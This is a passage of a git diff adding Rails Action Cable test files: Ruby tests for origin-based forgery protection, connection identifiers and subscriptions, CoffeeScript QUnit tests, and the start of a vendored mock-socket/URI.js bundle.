+class ActionCable::Connection::CrossSiteForgeryTest < ActionCable::TestCase
+  HOST = "rubyonrails.com"
+
+  class Connection < ActionCable::Connection::Base
+    def send_async(method, *args)
+      send method, *args
+    end
+  end
+
+  setup do
+    @server = TestServer.new
+    @server.config.allowed_request_origins = %w( http://rubyonrails.com )
+    @server.config.allow_same_origin_as_host = false
+  end
+
+  teardown do
+    @server.config.disable_request_forgery_protection = false
+    @server.config.allowed_request_origins = []
+    @server.config.allow_same_origin_as_host = true
+  end
+
+  test "disable forgery protection" do
+    @server.config.disable_request_forgery_protection = true
+    assert_origin_allowed "http://rubyonrails.com"
+    assert_origin_allowed "http://hax.com"
+  end
+
+  test "explicitly specified a single allowed origin" do
+    @server.config.allowed_request_origins = "http://hax.com"
+    assert_origin_not_allowed "http://rubyonrails.com"
+    assert_origin_allowed "http://hax.com"
+  end
+
+  test "explicitly specified multiple allowed origins" do
+    @server.config.allowed_request_origins = %w( http://rubyonrails.com http://www.rubyonrails.com )
+    assert_origin_allowed "http://rubyonrails.com"
+    assert_origin_allowed "http://www.rubyonrails.com"
+    assert_origin_not_allowed "http://hax.com"
+  end
+
+  test "explicitly specified a single regexp allowed origin" do
+    @server.config.allowed_request_origins = /.*ha.*/
+    assert_origin_not_allowed "http://rubyonrails.com"
+    assert_origin_allowed "http://hax.com"
+  end
+
+  test "explicitly specified multiple regexp allowed origins" do
+    @server.config.allowed_request_origins = [/http:\/\/ruby.*/, /.*rai.s.*com/, "string" ]
+    assert_origin_allowed "http://rubyonrails.com"
+    assert_origin_allowed "http://www.rubyonrails.com"
+    assert_origin_not_allowed "http://hax.com"
+    assert_origin_not_allowed "http://rails.co.uk"
+  end
+
+  test "allow same origin as host" do
+    @server.config.allow_same_origin_as_host = true
+    assert_origin_allowed "http://#{HOST}"
+    assert_origin_not_allowed "http://hax.com"
+    assert_origin_not_allowed "http://rails.co.uk"
+  end
+
+  private
+    def assert_origin_allowed(origin)
+      response = connect_with_origin origin
+      assert_equal(-1, response[0])
+    end
+
+    def assert_origin_not_allowed(origin)
+      response = connect_with_origin origin
+      assert_equal 404, response[0]
+    end
+
+    def connect_with_origin(origin)
+      response = nil
+
+      run_in_eventmachine do
+        response = Connection.new(@server, env_for_origin(origin)).process
+      end
+
+      response
+    end
+
+    def env_for_origin(origin)
+      Rack::MockRequest.env_for "/test", "HTTP_CONNECTION" => "upgrade", "HTTP_UPGRADE" => "websocket", "SERVER_NAME" => HOST,
+        "HTTP_HOST" => HOST, "HTTP_ORIGIN" => origin
+    end
+end
diff --git a/actioncable/test/connection/identifier_test.rb b/actioncable/test/connection/identifier_test.rb
new file mode 100644
index 0000000000..6b6c8cd31a
--- /dev/null
+++ b/actioncable/test/connection/identifier_test.rb
@@ -0,0 +1,77 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "stubs/test_server"
+require "stubs/user"
+
+class ActionCable::Connection::IdentifierTest < ActionCable::TestCase
+  class Connection < ActionCable::Connection::Base
+    identified_by :current_user
+    attr_reader :websocket
+
+    public :process_internal_message
+
+    def connect
+      self.current_user = User.new "lifo"
+    end
+  end
+
+  test "connection identifier" do
+    run_in_eventmachine do
+      open_connection_with_stubbed_pubsub
+      assert_equal "User#lifo", @connection.connection_identifier
+    end
+  end
+
+  test "should subscribe to internal channel on open and unsubscribe on close" do
+    run_in_eventmachine do
+      pubsub = mock("pubsub_adapter")
+      pubsub.expects(:subscribe).with("action_cable/User#lifo", kind_of(Proc))
+      pubsub.expects(:unsubscribe).with("action_cable/User#lifo", kind_of(Proc))
+
+      server = TestServer.new
+      server.stubs(:pubsub).returns(pubsub)
+
+      open_connection server: server
+      close_connection
+    end
+  end
+
+  test "processing disconnect message" do
+    run_in_eventmachine do
+      open_connection_with_stubbed_pubsub
+
+      @connection.websocket.expects(:close)
+      @connection.process_internal_message "type" => "disconnect"
+    end
+  end
+
+  test "processing invalid message" do
+    run_in_eventmachine do
+      open_connection_with_stubbed_pubsub
+
+      @connection.websocket.expects(:close).never
+      @connection.process_internal_message "type" => "unknown"
+    end
+  end
+
+  private
+    def open_connection_with_stubbed_pubsub
+      server = TestServer.new
+      server.stubs(:adapter).returns(stub_everything("adapter"))
+
+      open_connection server: server
+    end
+
+    def open_connection(server:)
+      env = Rack::MockRequest.env_for "/test", "HTTP_HOST" => "localhost", "HTTP_CONNECTION" => "upgrade", "HTTP_UPGRADE" => "websocket"
+      @connection = Connection.new(server, env)
+
+      @connection.process
+      @connection.send :handle_open
+    end
+
+    def close_connection
+      @connection.send :handle_close
+    end
+end
diff --git a/actioncable/test/connection/multiple_identifiers_test.rb b/actioncable/test/connection/multiple_identifiers_test.rb
new file mode 100644
index 0000000000..230433a110
--- /dev/null
+++ b/actioncable/test/connection/multiple_identifiers_test.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "stubs/test_server"
+require "stubs/user"
+
+class ActionCable::Connection::MultipleIdentifiersTest < ActionCable::TestCase
+  class Connection < ActionCable::Connection::Base
+    identified_by :current_user, :current_room
+
+    def connect
+      self.current_user = User.new "lifo"
+      self.current_room = Room.new "my", "room"
+    end
+  end
+
+  test "multiple connection identifiers" do
+    run_in_eventmachine do
+      open_connection_with_stubbed_pubsub
+      assert_equal "Room#my-room:User#lifo", @connection.connection_identifier
+    end
+  end
+
+  private
+    def open_connection_with_stubbed_pubsub
+      server = TestServer.new
+      server.stubs(:pubsub).returns(stub_everything("pubsub"))
+
+      open_connection server: server
+    end
+
+    def open_connection(server:)
+      env = Rack::MockRequest.env_for "/test", "HTTP_HOST" => "localhost", "HTTP_CONNECTION" => "upgrade", "HTTP_UPGRADE" => "websocket"
+      @connection = Connection.new(server, env)
+
+      @connection.process
+      @connection.send :handle_open
+    end
+
+    def close_connection
+      @connection.send :handle_close
+    end
+end
diff --git a/actioncable/test/connection/stream_test.rb b/actioncable/test/connection/stream_test.rb
new file mode 100644
index 0000000000..b0419b0994
--- /dev/null
+++ b/actioncable/test/connection/stream_test.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "stubs/test_server"
+
+class ActionCable::Connection::StreamTest < ActionCable::TestCase
+  class Connection < ActionCable::Connection::Base
+    attr_reader :connected, :websocket, :errors
+
+    def initialize(*)
+      super
+      @errors = []
+    end
+
+    def connect
+      @connected = true
+    end
+
+    def disconnect
+      @connected = false
+    end
+
+    def send_async(method, *args)
+      send method, *args
+    end
+
+    def on_error(message)
+      @errors << message
+    end
+  end
+
+  setup do
+    @server = TestServer.new
+    @server.config.allowed_request_origins = %w( http://rubyonrails.com )
+  end
+
+  [ EOFError, Errno::ECONNRESET ].each do |closed_exception|
+    test "closes socket on #{closed_exception}" do
+      run_in_eventmachine do
+        connection = open_connection
+
+        # Internal hax = :(
+        client = connection.websocket.send(:websocket)
+        client.instance_variable_get("@stream").instance_variable_get("@rack_hijack_io").expects(:write).raises(closed_exception, "foo")
+        client.expects(:client_gone)
+
+        client.write("boo")
+        assert_equal [], connection.errors
+      end
+    end
+  end
+
+  private
+    def open_connection
+      env = Rack::MockRequest.env_for "/test",
+        "HTTP_CONNECTION" => "upgrade", "HTTP_UPGRADE" => "websocket",
+        "HTTP_HOST" => "localhost", "HTTP_ORIGIN" => "http://rubyonrails.com"
+      env["rack.hijack"] = -> { env["rack.hijack_io"] = StringIO.new }
+
+      Connection.new(@server, env).tap do |connection|
+        connection.process
+        connection.send :handle_open
+        assert connection.connected
+      end
+    end
+end
diff --git a/actioncable/test/connection/string_identifier_test.rb b/actioncable/test/connection/string_identifier_test.rb
new file mode 100644
index 0000000000..6387fb792c
--- /dev/null
+++ b/actioncable/test/connection/string_identifier_test.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "stubs/test_server"
+
+class ActionCable::Connection::StringIdentifierTest < ActionCable::TestCase
+  class Connection < ActionCable::Connection::Base
+    identified_by :current_token
+
+    def connect
+      self.current_token = "random-string"
+    end
+
+    def send_async(method, *args)
+      send method, *args
+    end
+  end
+
+  test "connection identifier" do
+    run_in_eventmachine do
+      open_connection_with_stubbed_pubsub
+      assert_equal "random-string", @connection.connection_identifier
+    end
+  end
+
+  private
+    def open_connection_with_stubbed_pubsub
+      @server = TestServer.new
+      @server.stubs(:pubsub).returns(stub_everything("pubsub"))
+
+      open_connection
+    end
+
+    def open_connection
+      env = Rack::MockRequest.env_for "/test", "HTTP_HOST" => "localhost", "HTTP_CONNECTION" => "upgrade", "HTTP_UPGRADE" => "websocket"
+      @connection = Connection.new(@server, env)
+
+      @connection.process
+      @connection.send :on_open
+    end
+
+    def close_connection
+      @connection.send :on_close
+    end
+end
diff --git a/actioncable/test/connection/subscriptions_test.rb b/actioncable/test/connection/subscriptions_test.rb
new file mode 100644
index 0000000000..149a40604a
--- /dev/null
+++ b/actioncable/test/connection/subscriptions_test.rb
@@ -0,0 +1,116 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionCable::Connection::SubscriptionsTest < ActionCable::TestCase
+  class Connection < ActionCable::Connection::Base
+    attr_reader :websocket
+
+    def send_async(method, *args)
+      send method, *args
+    end
+  end
+
+  class ChatChannel < ActionCable::Channel::Base
+    attr_reader :room, :lines
+
+    def subscribed
+      @room = Room.new params[:id]
+      @lines = []
+    end
+
+    def speak(data)
+      @lines << data
+    end
+  end
+
+  setup do
+    @server = TestServer.new
+
+    @chat_identifier = ActiveSupport::JSON.encode(id: 1, channel: "ActionCable::Connection::SubscriptionsTest::ChatChannel")
+  end
+
+  test "subscribe command" do
+    run_in_eventmachine do
+      setup_connection
+      channel = subscribe_to_chat_channel
+
+      assert_kind_of ChatChannel, channel
+      assert_equal 1, channel.room.id
+    end
+  end
+
+  test "subscribe command without an identifier" do
+    run_in_eventmachine do
+      setup_connection
+
+      @subscriptions.execute_command "command" => "subscribe"
+      assert @subscriptions.identifiers.empty?
+    end
+  end
+
+  test "unsubscribe command" do
+    run_in_eventmachine do
+      setup_connection
+      subscribe_to_chat_channel
+
+      channel = subscribe_to_chat_channel
+      channel.expects(:unsubscribe_from_channel)
+
+      @subscriptions.execute_command "command" => "unsubscribe", "identifier" => @chat_identifier
+      assert @subscriptions.identifiers.empty?
+    end
+  end
+
+  test "unsubscribe command without an identifier" do
+    run_in_eventmachine do
+      setup_connection
+
+      @subscriptions.execute_command "command" => "unsubscribe"
+      assert @subscriptions.identifiers.empty?
+    end
+  end
+
+  test "message command" do
+    run_in_eventmachine do
+      setup_connection
+      channel = subscribe_to_chat_channel
+
+      data = { "content" => "Hello World!", "action" => "speak" }
+      @subscriptions.execute_command "command" => "message", "identifier" => @chat_identifier, "data" => ActiveSupport::JSON.encode(data)
+
+      assert_equal [ data ], channel.lines
+    end
+  end
+
+  test "unsubscribe from all" do
+    run_in_eventmachine do
+      setup_connection
+
+      channel1 = subscribe_to_chat_channel
+
+      channel2_id = ActiveSupport::JSON.encode(id: 2, channel: "ActionCable::Connection::SubscriptionsTest::ChatChannel")
+      channel2 = subscribe_to_chat_channel(channel2_id)
+
+      channel1.expects(:unsubscribe_from_channel)
+      channel2.expects(:unsubscribe_from_channel)
+
+      @subscriptions.unsubscribe_from_all
+    end
+  end
+
+  private
+    def subscribe_to_chat_channel(identifier = @chat_identifier)
+      @subscriptions.execute_command "command" => "subscribe", "identifier" => identifier
+      assert_equal identifier, @subscriptions.identifiers.last
+
+      @subscriptions.send :find, "identifier" => identifier
+    end
+
+    def setup_connection
+      env = Rack::MockRequest.env_for "/test", "HTTP_HOST" => "localhost", "HTTP_CONNECTION" => "upgrade", "HTTP_UPGRADE" => "websocket"
+      @connection = Connection.new(@server, env)
+
+      @subscriptions = ActionCable::Connection::Subscriptions.new(@connection)
+    end
+end
diff --git a/actioncable/test/javascript/src/test.coffee b/actioncable/test/javascript/src/test.coffee
new file mode 100644
index 0000000000..eb95fb2604
--- /dev/null
+++ b/actioncable/test/javascript/src/test.coffee
@@ -0,0 +1,3 @@
+#= require action_cable
+#= require ./test_helpers
+#= require_tree ./unit
diff --git a/actioncable/test/javascript/src/test_helpers/consumer_test_helper.coffee b/actioncable/test/javascript/src/test_helpers/consumer_test_helper.coffee
new file mode 100644
index 0000000000..a9e95c37f0
--- /dev/null
+++ b/actioncable/test/javascript/src/test_helpers/consumer_test_helper.coffee
@@ -0,0 +1,47 @@
+#= require mock-socket
+
+{TestHelpers} = ActionCable
+
+TestHelpers.consumerTest = (name, options = {}, callback) ->
+  unless callback?
+    callback = options
+    options = {}
+
+  options.url ?= TestHelpers.testURL
+
+  QUnit.test name, (assert) ->
+    doneAsync = assert.async()
+
+    ActionCable.WebSocket = MockWebSocket
+    server = new MockServer options.url
+    consumer = ActionCable.createConsumer(options.url)
+
+    server.on "connection", ->
+      clients = server.clients()
+      assert.equal clients.length, 1
+      assert.equal clients[0].readyState, WebSocket.OPEN
+
+    server.broadcastTo = (subscription, data = {}, callback) ->
+      data.identifier = subscription.identifier
+
+      if data.message_type
+        data.type = ActionCable.INTERNAL.message_types[data.message_type]
+        delete data.message_type
+
+      server.send(JSON.stringify(data))
+      TestHelpers.defer(callback)
+
+    done = ->
+      consumer.disconnect()
+      server.close()
+      doneAsync()
+
+    testData = {assert, consumer, server, done}
+
+    if options.connect is false
+      callback(testData)
+    else
+      server.on "connection", ->
+        testData.client = server.clients()[0]
+        callback(testData)
+      consumer.connect()
diff --git a/actioncable/test/javascript/src/test_helpers/index.coffee b/actioncable/test/javascript/src/test_helpers/index.coffee
new file mode 100644
index 0000000000..c84cbbcb2c
--- /dev/null
+++ b/actioncable/test/javascript/src/test_helpers/index.coffee
@@ -0,0 +1,11 @@
+#= require_self
+#= require_tree .
+
+ActionCable.TestHelpers =
+  testURL: "ws://cable.example.com/"
+
+  defer: (callback) ->
+    setTimeout(callback, 1)
+
+originalWebSocket = ActionCable.WebSocket
+QUnit.testDone -> ActionCable.WebSocket = originalWebSocket
diff --git a/actioncable/test/javascript/src/unit/action_cable_test.coffee b/actioncable/test/javascript/src/unit/action_cable_test.coffee
new file mode 100644
index 0000000000..3944f3a7f6
--- /dev/null
+++ b/actioncable/test/javascript/src/unit/action_cable_test.coffee
@@ -0,0 +1,41 @@
+{module, test} = QUnit
+{testURL} = ActionCable.TestHelpers
+
+module "ActionCable", ->
+  module "Adapters", ->
+    module "WebSocket", ->
+      test "default is window.WebSocket", (assert) ->
+        assert.equal ActionCable.WebSocket, window.WebSocket
+
+      test "configurable", (assert) ->
+        ActionCable.WebSocket = ""
+        assert.equal ActionCable.WebSocket, ""
+
+    module "logger", ->
+      test "default is window.console", (assert) ->
+        assert.equal ActionCable.logger, window.console
+
+      test "configurable", (assert) ->
+        ActionCable.logger = ""
+        assert.equal ActionCable.logger, ""
+
+  module "#createConsumer", ->
+    test "uses specified URL", (assert) ->
+      consumer = ActionCable.createConsumer(testURL)
+      assert.equal consumer.url, testURL
+
+    test "uses default URL", (assert) ->
+      pattern = ///#{ActionCable.INTERNAL.default_mount_path}$///
+      consumer = ActionCable.createConsumer()
+      assert.ok pattern.test(consumer.url), "Expected #{consumer.url} to match #{pattern}"
+
+    test "uses URL from meta tag", (assert) ->
+      element = document.createElement("meta")
+      element.setAttribute("name", "action-cable-url")
+      element.setAttribute("content", testURL)
+
+      document.head.appendChild(element)
+      consumer = ActionCable.createConsumer()
+      document.head.removeChild(element)
+
+      assert.equal consumer.url, testURL
diff --git a/actioncable/test/javascript/src/unit/consumer_test.coffee b/actioncable/test/javascript/src/unit/consumer_test.coffee
new file mode 100644
index 0000000000..41445274eb
--- /dev/null
+++ b/actioncable/test/javascript/src/unit/consumer_test.coffee
@@ -0,0 +1,14 @@
+{module, test} = QUnit
+{consumerTest} = ActionCable.TestHelpers
+
+module "ActionCable.Consumer", ->
+  consumerTest "#connect", connect: false, ({consumer, server, assert, done}) ->
+    server.on "connection", ->
+      assert.equal consumer.connect(), false
+      done()
+
+    consumer.connect()
+
+  consumerTest "#disconnect", ({consumer, client, done}) ->
+    client.addEventListener("close", done)
+    consumer.disconnect()
diff --git a/actioncable/test/javascript/src/unit/subscription_test.coffee b/actioncable/test/javascript/src/unit/subscription_test.coffee
new file mode 100644
index 0000000000..07027ed170
--- /dev/null
+++ b/actioncable/test/javascript/src/unit/subscription_test.coffee
@@ -0,0 +1,40 @@
+{module, test} = QUnit
+{consumerTest} = ActionCable.TestHelpers
+
+module "ActionCable.Subscription", ->
+  consumerTest "#initialized callback", ({server, consumer, assert, done}) ->
+    consumer.subscriptions.create "chat",
+      initialized: ->
+        assert.ok true
+        done()
+
+  consumerTest "#connected callback", ({server, consumer, assert, done}) ->
+    subscription = consumer.subscriptions.create "chat",
+      connected: ->
+        assert.ok true
+        done()
+
+    server.broadcastTo(subscription, message_type: "confirmation")
+
+  consumerTest "#disconnected callback", ({server, consumer, assert, done}) ->
+    subscription = consumer.subscriptions.create "chat",
+      disconnected: ->
+        assert.ok true
+        done()
+
+    server.broadcastTo subscription, message_type: "confirmation", ->
+      server.close()
+
+  consumerTest "#perform", ({consumer, server, assert, done}) ->
+    subscription = consumer.subscriptions.create "chat",
+      connected: ->
+        @perform(publish: "hi")
+
+    server.on "message", (message) ->
+      data = JSON.parse(message)
+      assert.equal data.identifier, subscription.identifier
+      assert.equal data.command, "message"
+      assert.deepEqual data.data, JSON.stringify(action: { publish: "hi" })
+      done()
+
+    server.broadcastTo(subscription, message_type: "confirmation")
diff --git a/actioncable/test/javascript/src/unit/subscriptions_test.coffee b/actioncable/test/javascript/src/unit/subscriptions_test.coffee
new file mode 100644
index 0000000000..170b370e4a
--- /dev/null
+++ b/actioncable/test/javascript/src/unit/subscriptions_test.coffee
@@ -0,0 +1,25 @@
+{module, test} = QUnit
+{consumerTest} = ActionCable.TestHelpers
+
+module "ActionCable.Subscriptions", ->
+  consumerTest "create subscription with channel string", ({consumer, server, assert, done}) ->
+    channel = "chat"
+
+    server.on "message", (message) ->
+      data = JSON.parse(message)
+      assert.equal data.command, "subscribe"
+      assert.equal data.identifier, JSON.stringify({channel})
+      done()
+
+    consumer.subscriptions.create(channel)
+
+  consumerTest "create subscription with channel object", ({consumer, server, assert, done}) ->
+    channel = channel: "chat", room: "action"
+
+    server.on "message", (message) ->
+      data = JSON.parse(message)
+      assert.equal data.command, "subscribe"
+      assert.equal data.identifier, JSON.stringify(channel)
+      done()
+
+    consumer.subscriptions.create(channel)
diff --git a/actioncable/test/javascript/vendor/mock-socket.js b/actioncable/test/javascript/vendor/mock-socket.js
new file mode 100644
index 0000000000..b465c8b53f
--- /dev/null
+++ b/actioncable/test/javascript/vendor/mock-socket.js
@@ -0,0 +1,4533 @@
+(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(require,module,exports){
+/*!
+ * URI.js - Mutating URLs
+ * IPv6 Support
+ *
+ * Version: 1.17.0
+ *
+ * Author: Rodney Rehm
+ * Web: http://medialize.github.io/URI.js/
+ *
+ * Licensed under
+ *   MIT License http://www.opensource.org/licenses/mit-license
+ *   GPL v3 http://opensource.org/licenses/GPL-3.0
+ *
+ */
+
+(function (root, factory) {
+  'use strict';
+  // https://github.com/umdjs/umd/blob/master/returnExports.js
+  if (typeof exports === 'object') {
+    // Node
+    module.exports = factory();
+  } else if (typeof define === 'function' && define.amd) {
+    // AMD. Register as an anonymous module.
+    define(factory);
+  } else {
+    // Browser globals (root is window)
+    root.IPv6 = factory(root);
+  }
+}(this, function (root) {
+  'use strict';
+
+  /*
+  var _in = "fe80:0000:0000:0000:0204:61ff:fe9d:f156";
+  var _out = IPv6.best(_in);
+  var _expected = "fe80::204:61ff:fe9d:f156";
+
+  console.log(_in, _out, _expected, _out === _expected);
+  */
+
+  // save current IPv6 variable, if any
+  var _IPv6 = root && root.IPv6;
+
+  function bestPresentation(address) {
+    // based on:
+    // Javascript to test an IPv6 address for proper format, and to
+    // present the "best text representation" according to IETF Draft RFC at
+    // http://tools.ietf.org/html/draft-ietf-6man-text-addr-representation-04
+    // 8 Feb 2010 Rich Brown, Dartware, LLC
+    // Please feel free to use this code as long as you provide a link to
+    // http://www.intermapper.com
+    // http://intermapper.com/support/tools/IPV6-Validator.aspx
+    // http://download.dartware.com/thirdparty/ipv6validator.js
+
+    var _address = address.toLowerCase();
+    var segments = _address.split(':');
+    var length = segments.length;
+    var total = 8;
+
+    // trim colons (:: or ::a:b:c… or …a:b:c::)
+    if (segments[0] === '' && segments[1] === '' && segments[2] === '') {
+      // must have been ::
+      // remove first two items
+      segments.shift();
+      segments.shift();
+    } else if (segments[0] === '' && segments[1] === '') {
+      // must have been ::xxxx
+      // remove the first item
+      segments.shift();
+    } else if (segments[length - 1] === '' && segments[length - 2] === '') {
+      // must have been xxxx::
+      segments.pop();
+    }
+
+    length = segments.length;
+
+    // adjust total segments for IPv4 trailer
+    if (segments[length - 1].indexOf('.') !== -1) {
+      // found a "." which means IPv4
+      total = 7;
+    }
+
+    // fill empty segments them with "0000"
+    var pos;
+    for (pos = 0; pos < length; pos++) {
+      if (segments[pos] === '') {
+        break;
+      }
+    }
+
+    if (pos < total) {
+      segments.splice(pos, 1, '0000');
+      while (segments.length < total) {
+        segments.splice(pos, 0, '0000');
+      }
+
+      length = segments.length;
+    }
+
+    // strip leading zeros
+    var _segments;
+    for (var i = 0; i < total; i++) {
+      _segments = segments[i].split('');
+      for (var j = 0; j < 3 ; j++) {
+        if (_segments[0] === '0' && _segments.length > 1) {
+          _segments.splice(0,1);
+        } else {
+          break;
+        }
+      }
+
+      segments[i] = _segments.join('');
+    }
+
+    // find longest sequence of zeroes and coalesce them into one segment
+    var best = -1;
+    var _best = 0;
+    var _current = 0;
+    var current = -1;
+    var inzeroes = false;
+    // i; already declared
+
+    for (i = 0; i < total; i++) {
+      if (inzeroes) {
+        if (segments[i] === '0') {
+          _current += 1;
+        } else {
+          inzeroes = false;
+          if (_current > _best) {
+            best = current;
+            _best = _current;
+          }
+        }
+      } else {
+        if (segments[i] === '0') {
+          inzeroes = true;
+          current = i;
+          _current = 1;
+        }
+      }
+    }
+
+    if (_current > _best) {
+      best = current;
+      _best = _current;
+    }
+
+    if (_best > 1) {
+      segments.splice(best, _best, '');
+    }
+
+    length = segments.length;
+
+    // assemble remaining segments
+    var result = '';
+    if (segments[0] === '')  {
+      result = ':';
+    }
+
+    for (i = 0; i < length; i++) {
+      result += segments[i];
+      if (i === length - 1) {
+        break;
+      }
+
+      result += ':';
+    }
+
+    if (segments[length - 1] === '') {
+      result += ':';
+    }
+
+    return result;
+  }
+
+  function noConflict() {
+    /*jshint validthis: true */
+    if (root.IPv6 === this) {
+      root.IPv6 = _IPv6;
+    }
+  
+    return this;
+  }
+
+  return {
+    best: bestPresentation,
+    noConflict: noConflict
+  };
+}));
+
+},{}],2:[function(require,module,exports){
+/*!
+ * URI.js - Mutating URLs
+ * Second Level Domain (SLD) Support
+ *
+ * Version: 1.17.0
+ *
+ * Author: Rodney Rehm
+ * Web: http://medialize.github.io/URI.js/
+ *
+ * Licensed under
+ *   MIT License http://www.opensource.org/licenses/mit-license
+ *   GPL v3 http://opensource.org/licenses/GPL-3.0
+ *
+ */
+
+(function (root, factory) {
+  'use strict';
+  // https://github.com/umdjs/umd/blob/master/returnExports.js
+  if (typeof exports === 'object') {
+    // Node
+    module.exports = factory();
+  } else if (typeof define === 'function' && define.amd) {
+    // AMD. Register as an anonymous module.
+    define(factory);
+  } else {
+    // Browser globals (root is window)
+    root.SecondLevelDomains = factory(root);
+  }
+}(this, function (root) {
+  'use strict';
+
+  // save current SecondLevelDomains variable, if any
+  var _SecondLevelDomains = root && root.SecondLevelDomains;
+
+  var SLD = {
+    // list of known Second Level Domains
+    // converted list of SLDs from https://github.com/gavingmiller/second-level-domains
+    // ----
+    // publicsuffix.org is more current and actually used by a couple of browsers internally.
+    // downside is it also contains domains like "dyndns.org" - which is fine for the security
+    // issues browser have to deal with (SOP for cookies, etc) - but is way overboard for URI.js
+    // ----
+    list: {
+      'ac':' com gov mil net org ',
+      'ae':' ac co gov mil name net org pro sch ',
+      'af':' com edu gov net org ',
+      'al':' com edu gov mil net org ',
+      'ao':' co ed gv it og pb ',
+      'ar':' com edu gob gov int mil net org tur ',
+      'at':' ac co gv or ',
+      'au':' asn com csiro edu gov id net org ',
+      'ba':' co com edu gov mil net org rs unbi unmo unsa untz unze ',
+      'bb':' biz co com edu gov info net org store tv ',
+      'bh':' biz cc com edu gov info net org ',
+      'bn':' com edu gov net org ',
+      'bo':' com edu gob gov int mil net org tv ',
+      'br':' adm adv agr am arq art ato b bio blog bmd cim cng cnt com coop ecn edu eng esp etc eti far flog fm fnd fot fst g12 ggf gov imb ind inf jor jus lel mat med mil mus net nom not ntr odo org ppg pro psc psi qsl rec slg srv tmp trd tur tv vet vlog wiki zlg ',
+      'bs':' com edu gov net org ',
+      'bz':' du et om ov rg ',
+      'ca':' ab bc mb nb nf nl ns nt nu on pe qc sk yk ',
+      'ck':' biz co edu gen gov info net org ',
+      'cn':' ac ah bj com cq edu fj gd gov gs gx gz ha hb he hi hl hn jl js jx ln mil net nm nx org qh sc sd sh sn sx tj tw xj xz yn zj ',
+      'co':' com edu gov mil net nom org ',
+      'cr':' ac c co ed fi go or sa ',
+      'cy':' ac biz com ekloges gov ltd name net org parliament press pro tm ',
+      'do':' art com edu gob gov mil net org sld web ',
+      'dz':' art asso com edu gov net org pol ',
+      'ec':' com edu fin gov info med mil net org pro ',
+      'eg':' com edu eun gov mil name net org sci ',
+      'er':' com edu gov ind mil net org rochest w ',
+      'es':' com edu gob nom org ',
+      'et':' biz com edu gov info name net org ',
+      'fj':' ac biz com info mil name net org pro ',
+      'fk':' ac co gov net nom org ',
+      'fr':' asso com f gouv nom prd presse tm ',
+      'gg':' co net org ',
+      'gh':' com edu gov mil org ',
+      'gn':' ac com gov net org ',
+      'gr':' com edu gov mil net org ',
+      'gt':' com edu gob ind mil net org ',
+      'gu':' com edu gov net org ',
+      'hk':' com edu gov idv net org ',
+      'hu':' 2000 agrar bolt casino city co erotica erotika film forum games hotel info ingatlan jogasz konyvelo lakas media news org priv reklam sex shop sport suli szex tm tozsde utazas video ',
+      'id':' ac co go mil net or sch web ',
+      'il':' ac co gov idf k12 muni net org ',
+      'in':' ac co edu ernet firm gen gov i ind mil net nic org res ',
+      'iq':' com edu gov i mil net org ',
+      'ir':' ac co dnssec gov i id net org sch ',
+      'it':' edu gov ',
+      'je':' co net org ',
+      'jo':' com edu gov mil name net org sch ',
+      'jp':' ac ad co ed go gr lg ne or ',
+      'ke':' ac co go info me mobi ne or sc ',
+      'kh':' com edu gov mil net org per ',
+      'ki':' biz com de edu gov info mob net org tel ',
+      'km':' asso com coop edu gouv k medecin mil nom notaires pharmaciens presse tm veterinaire ',
+      'kn':' edu gov net org ',
+      'kr':' ac busan chungbuk chungnam co daegu daejeon es gangwon go gwangju gyeongbuk gyeonggi gyeongnam hs incheon jeju jeonbuk jeonnam k kg mil ms ne or pe re sc seoul ulsan ',
+      'kw':' com edu gov net org ',
+      'ky':' com edu gov net org ',
+      'kz':' com edu gov mil net org ',
+      'lb':' com edu gov net org ',
+      'lk':' assn com edu gov grp hotel int ltd net ngo org sch soc web ',
+      'lr':' com edu gov net org ',
+      'lv':' asn com conf edu gov id mil net org ',
+      'ly':' com edu gov id med net org plc sch ',
+      'ma':' ac co gov m net org press ',
+      'mc':' asso tm ',
+      'me':' ac co edu gov its net org priv ',
+      'mg':' com edu gov mil nom org prd tm ',
+      'mk':' com edu gov inf name net org pro ',
+      'ml':' com edu gov net org presse ',
+      'mn':' edu gov org ',
+      'mo':' com edu gov net org ',
+      'mt':' com edu gov net org ',
+      'mv':' aero biz com coop edu gov info int mil museum name net org pro ',
+      'mw':' ac co com coop edu gov int museum net org ',
+      'mx':' com edu gob net org ',
+      'my':' com edu gov mil name net org sch ',
+      'nf':' arts com firm info net other per rec store web ',
+      'ng':' biz com edu gov mil mobi name net org sch ',
+      'ni':' ac co com edu gob mil net nom org ',
+      'np':' com edu gov mil net org ',
+      'nr':' biz com edu gov info net org ',
+      'om':' ac biz co com edu gov med mil museum net org pro sch ',
+      'pe':' com edu gob mil net nom org sld ',
+      'ph':' com edu gov i mil net ngo org ',
+      'pk':' biz com edu fam gob gok gon gop gos gov net org web ',
+      'pl':' art bialystok biz com edu gda gdansk gorzow gov info katowice krakow lodz lublin mil net ngo olsztyn org poznan pwr radom slupsk szczecin torun warszawa waw wroc wroclaw zgora ',
+      'pr':' ac biz com edu est gov info isla name net org pro prof ',
+      'ps':' com edu gov net org plo sec ',
+      'pw':' belau co ed go ne or ',
+      'ro':' arts com firm info nom nt org rec store tm www ',
+      'rs':' ac co edu gov in org ',
+      'sb':' com edu gov net org ',
+      'sc':' com edu gov net org ',
+      'sh':' co com edu gov net nom org ',
+      'sl':' com edu gov net org ',
+      'st':' co com consulado edu embaixada gov mil net org principe saotome store ',
+      'sv':' com edu gob org red ',
+      'sz':' ac co org ',
+      'tr':' av bbs bel biz com dr edu gen gov info k12 name net org pol tel tsk tv web ',
+      'tt':' aero biz cat co com coop edu gov info int jobs mil mobi museum name net org pro tel travel ',
+      'tw':' club com ebiz edu game gov idv mil net org ',
+      'mu':' ac co com gov net or org ',
+      'mz':' ac co edu gov org ',
+      'na':' co com ',
+      'nz':' ac co cri geek gen govt health iwi maori mil net org parliament school ',
